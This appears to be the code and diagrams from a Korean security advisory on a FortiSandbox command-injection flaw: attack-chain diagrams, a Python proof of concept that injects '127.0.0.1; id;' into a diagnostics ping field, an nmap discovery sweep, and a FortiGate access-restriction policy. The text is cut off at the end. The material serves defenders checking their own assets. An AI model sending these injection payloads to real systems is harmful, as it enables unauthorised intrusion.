1
2
3
4
5
6
7
8

graph LR
    A[공격자] --> B[취약한 FortiSandbox 탐지]
    B --> C[조작된 HTTP 요청 전송]
    C --> D[CLI 명령어 인젝션 발생]
    D --> E[역방향 셸 획득]
    E --> F[시스템 완전 장악]
    F --> G[지속성 확보]
    F --> H[내부망 측면 이동]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

# ⚠️ 교육 목적의 취약점 재현 코드 (로컬 테스트 환경용)
# 실제 FortiSandbox 시스템에 대한 무단 테스트는 엄격히 금지됩니다.

import requests
import sys
import urllib.parse

def verify_vulnerability(target_url):
    """
    FortiSandbox RCE 취약점 여부를 확인하는 PoC 코드
    방어자 관점에서 자산의 취약점 보유 여부를 점검하기 위한 목적
    """
    
    # 타겟 시스템의 엔드포인트 (예시)
    # 실제 취약점 상세에 따라 엔드포인트는 달라질 수 있음
    vulnerable_endpoint = f"{target_url}/api/v1/diagnostics/ping"
    
    # 명령어 인젝션 페이로드
    # ; id; 는 리눅스 시스템에서 현재 사용자 정보를 출력
    # 응답에 uid/gid 정보가 포함되면 취약점 존재 확인
    payload = "127.0.0.1; id;"
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Internal-Security-Scanner/1.0"
    }
    
    data = {
        "address": payload
    }
    
    try:
        print(f"[*] 대상: {target_url}")
        print(f"[*] 테스트 엔드포인트: {vulnerable_endpoint}")
        print(f"[*] 페이로드: {payload}")
        
        response = requests.post(
            vulnerable_endpoint,
            data=data,
            headers=headers,
            timeout=10,
            verify=False  # 테스트 환경에서만 사용
        )
        
        # 응답 분석
        if response.status_code == 200:
            if "uid=" in response.text and "gid=" in response.text:
                print("[!] 경고: 시스템이 취약합니다!")
                print(f"[!] 명령 실행 결과 감지됨: {response.text}")
                return True
            else:
                print("[+] 정상: 명령어 인젝션 흔적 미감지")
                return False
        else:
            print(f"[-] 예상치 못한 응답 코드: {response.status_code}")
            return None
            
    except requests.exceptions.RequestException as e:
        print(f"[-] 연결 오류: {e}")
        return None

# 실행 예시 (반드시 승인된 테스트 환경에서만 사용)
# result = verify_vulnerability("https://your-fortisandbox.local")

1
2
3
4
5
6
7
8
9

graph TD
    A[1. 인터넷 노출 FortiSandbox 탐지] --> B[2. PoC 익스플로잇 실행]
    B --> C{3. 익스플로잇 성공 여부}
    C -->|성공| D[4. 역방향 셸 연결 설정]
    C -->|실패| E[다른 벡터 시도]
    D --> F[5. 시스템 정보 수집]
    F --> G[6. 자격 증명 획득]
    G --> H[7. 내부망 접근]
    H --> I[8. 측면 이동 및 권한 상승]

1
2
3
4
5
6
7

# 내부 네트워크에서 FortiSandbox 장비 식별
# 실제 환경에 맞게 IP 대역 수정 필요
nmap -p 443,80 --script http-title,http-server-header \
  192.168.0.0/16 -oA fortisandbox_scan

# 결과에서 FortiSandbox 웹 인터페이스 필터링
grep -i "fortisandbox\|fortinet" fortisandbox_scan.nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

# FortiGate 방화벽 정책 예시
# FortiSandbox 관리 인터페이스 접근 제한 정책

config firewall policy
    edit 100
        set name "Restrict_FortiSandbox_Mgmt"
        set srcintf "internal_trusted_VLAN"
        set dstintf "fortisandbox_mgmt_interface"
        set srcaddr "Security_Admin_IPs"
        set dstaddr "FortiSandbox_Mgmt_IP"
        set action accept
        set schedule "working_hours"
        set service "HTTPS"
        set utm-status enable
        set ssl-ssh-profile "deep-inspection"
        set logtraffic all
    next
end

# 모든 다른 출발지에서의 �